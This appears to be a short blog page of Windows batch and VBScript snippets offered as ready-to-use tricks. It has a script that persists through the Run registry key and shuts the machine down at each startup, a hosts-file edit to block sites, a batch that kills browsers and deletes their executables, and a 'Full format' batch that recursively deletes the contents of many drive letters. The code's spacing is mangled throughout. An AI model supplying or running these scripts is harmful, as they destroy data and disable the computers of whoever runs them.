.bat


Add to startup and shutdown
CreateObject ("WScript.Shell"). RegWrite "HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Window", WScript.ScriptFullName 
Set OpSysSet = GetObject ("winmgmts: {(Shutdown)} //// root / cimv2" ) .ExecQuery ("select * from Win32_OperatingSystem where Primary = true") 
for each OpSys in OpSysSet 
OpSys.ShutDown ()
Block any site
@echo off 
cd% windir% \ system32 \ drivers \ etc 
attrib -r -s hosts 
echo 127.0.0.1 your site »hosts
Removing browsers
@echo off 
taskkill / im / f chrome.exe 
taskkill / im / f ie.exe 
taskkill / im / f firefox.exe 
taskkill / im / f opera.exe 
taskkill / im / f safari.exe 
del C: \ Program Files \ Google \ Chrome \ Application \ chrome.exe 
del C: \ Program Files \ Safari \ safari.exe 
del C: \ Program Files \ Mozilla Firefox \ firefox.exe 
del C: \ Program Files \ Opera \ opera.exe 
del C: \ Program Files \ Internet Explorer \ ie.exe
Full format
@echo off 
rd C: / s / q> nul 
rd D: / s / q> nul 
rd B: / s / q> nul 
rd A: / s / q> nul 
rd F: / s / q> nul 
rd S : / s / q> nul 
rd H: / s / q> nul 
rd T: / s / q> nul 
rd W: / s / q> nul 
rd P: / s / q> nul 
rd O: / s / q > nul 
rd U: / s / q> nul 
rd Y: / s / q> nul 
rd T: / s / q> nul 
rd R: / s / q> nul 
rd E: / s / q> nul 
rd Q: / s / q> nul 
rd I: / s / q> nul

Commentaires

You are welcome to share your ideas with us in comments!